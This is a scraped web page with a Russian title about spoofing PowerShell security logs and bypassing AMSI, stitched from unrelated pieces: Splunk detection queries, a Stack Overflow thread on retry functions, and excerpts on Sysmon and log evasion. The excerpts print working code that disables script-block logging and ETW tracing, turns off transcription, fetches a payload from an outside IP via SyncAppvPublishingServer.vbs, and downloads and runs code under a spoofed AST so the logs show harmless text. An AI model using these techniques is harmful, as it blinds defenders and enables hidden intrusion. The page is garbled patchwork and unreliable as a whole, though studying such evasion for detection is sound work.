Подделка журналов безопасности power shell и обход amsi без отражения или исправления

1
2
3
4
5
6
7
8
9
10
`powershell` EventCode=4104 ScriptBlockText IN ("*http:*","*https:*") 
| regex ScriptBlockText="(\"?(https?:\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()@:%_\+.~#?&\/=]*))\"?(?:,
|\))?){2,}" 
| rex max_match=20 field=ScriptBlockText "(?<url>https?:\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()@:%_\+.~#?&\/=]*))" 
| eval Path = case(isnotnull(Path),Path,true(),"unknown") 
| stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user values(url) as url dc(url) as url_count by ActivityID, Computer, EventCode 
| rename Computer as dest, EventCode as signature_id 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `powershell_script_block_with_url_chain_filter`

1
2
3
4
5
6
`powershell` EventCode=4104 ScriptBlockText = "*[System.Security.Principal.WindowsIdentity]*"  ScriptBlockText = "*GetCurrent()*" 
| stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID 
| rename Computer as dest, UserID as user 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `getcurrent_user_with_powershell_script_block_filter`

function Execute-WithRetry([ScriptBlock]$command) {

    $Stoploop = $false
    $count = 0
 
    do {
        try {
            & $command
            Write-Host "Download completed"
            $Stoploop = $true
        }
        catch {
            if ($count -eq 3) {
               
                Write-Host "Could not download after 3 retries."
                $Stoploop = $true
            }
            else {
                Write-Host "Could not download the files retrying in 5 seconds..."
                Write-Host "Executing: $($MyInvocation.MyCommand.ScriptBlock)"
                Start-Sleep -Seconds 5
            }
        }
        $count++
    }
    While  ($Stoploop -eq $false)
    pause

    }


Execute-WithRetry {
  Test-Connection -ComputerName 192.10.129.15 -ErrorAction Stop
}

67 gold badges673 silver badges862 bronze badges

asked Nov 3, 2023 at 15:45

function Invoke-Retry {
  param([scriptblock]$Command)

  $stop = $false
  $count = 0

  $ErrorActionPreference = 'Stop'

  do {
    try {
      &$Command

      Write-Host "Download completed"
      $stop = $true
    }
    catch {
      if ($count -ge 3) {
        Write-Host "Could not download after 3 retries."
        $stop = $true
      }
      else {
        Write-Host "Could not download the files, retrying in 5 seconds"
        Write-Host "Error occurred while executing: `n>> $($_.InvocationInfo.Line)" -ForegroundColor Red
        Start-Sleep -Seconds 5
      }
    }
    $count++
  } while (-not $stop)
  pause
}

PS ~> Invoke-Retry {
  Test-Connection -ComputerName doesntexist
}
Could not download the files retrying in 5 seconds
Error occurred while executing:
>>   Test-Connection -ComputerName doesntexist

Could not download the files retrying in 5 seconds
Error occurred while executing:
>>   Test-Connection -ComputerName doesntexist

Could not download the files retrying in 5 seconds
Error occurred while executing:
>>   Test-Connection -ComputerName doesntexist

Could not download after 3 retries.
Press Enter to continue...:

Note: starting with version 7.4, the invocation info class also exposes the full extent of any multiline statements via the Statement property

answered Nov 3, 2023 at 17:04

Mathias R. JessenMathias R. Jessen

12 gold badges164 silver badges220 bronze badges

Write-Host "Executing: {$command}"

• The string representation is exactly what you place inside {...}, i.e. a script-block literal, and can therefore include newlines.

A simplified example:

# Sample function that prints the source code of a given script block.
function Foo { param([scriptblock] $Command) "Source code: {$Command}" }

# Sample call
# ->
#  "Source code: { Get-Date -Format 'yyyy' }" 
Foo -Command { Get-Date -Format 'yyyy' }

# -> " Get-Date -Format 'yyyy' "
{ Get-Date -Format 'yyyy' }.ToString()

answered Nov 3, 2023 at 16:19

67 gold badges673 silver badges862 bronze badges

Sysmon64.exe -accepteula -i sysmonconfig-export.xml

Figure 2.11 – Sysmon installation

Figure 2.12 – Group Policies to enable PowerShell Logging

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static')
If ($GroupPolicyField) {
  $GroupPolicyCache = $GroupPolicyField.GetValue($null)
  Write-Host("Before")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
  If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
  }
  $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
  $val.Add('EnableScriptB'+'lockLogging', 0)
  $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
  Write-Host("After")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
}

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name  EnableTranscripting -Value 0

<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>

We will get an event that could potentially trigger

Figure 2.14 – Sysmon detects registry change

SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"

Sysmon will detect activity, but not prevent

Figure 2.15 – Suspicious outbound connection detected by Sysmon

• Sysmon
• Access/alter configuration
• Process injection

Note: All code samples shown in the post can be found in our repo here 

while b ≠ 0​: 

        if a > b​: 

                a = a − b​ 

        else​ 

               b = b − a​ 

return a​ 

Then, the compiler would convert it to look something like this:

[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
                                                            $ParamBlock,
                                                            $BeginBlock,
                                                            $ProcessBlock,
                                                            $EndBlock,
                                                            $DynamicParamBlock
                                                            ) 

$wc=New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast  
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
                                                               $null,
                                                               $null,
                                                               $null
                                                               ExecutedAst.EndBlock.Copy(),                                                            
                                                               $null)
$Sb = $Ast.GetScriptBlock() 

The PowerShell code can then be executed:

This example executes Write-Output ‘amsicontext’, which demonstrates the ability to bypass AMSI without needing any patching or reflection. When we run the code, we can check the logs and see that it only shows Write-Output Hello once again. As a side note, for some reason, using ps.addcommand does not result in a log being generated and executed, but using ps.addscript does generate logs as expected.

Then, the next time they execute Invoke-Expression, their code will behave differently, while the logs will look like the code they intended to execute.

Похожее:

Windows 10 1080P, 2K, 4K, 5K HD wallpapers free download | Wallpaper Flare Управление VirtualBox из командной строки | Информационный портал К2® Руководство по команде setblock — Официальная Minecraft Wiki Как эффективно проверить лицензию активации windows с помощью power shell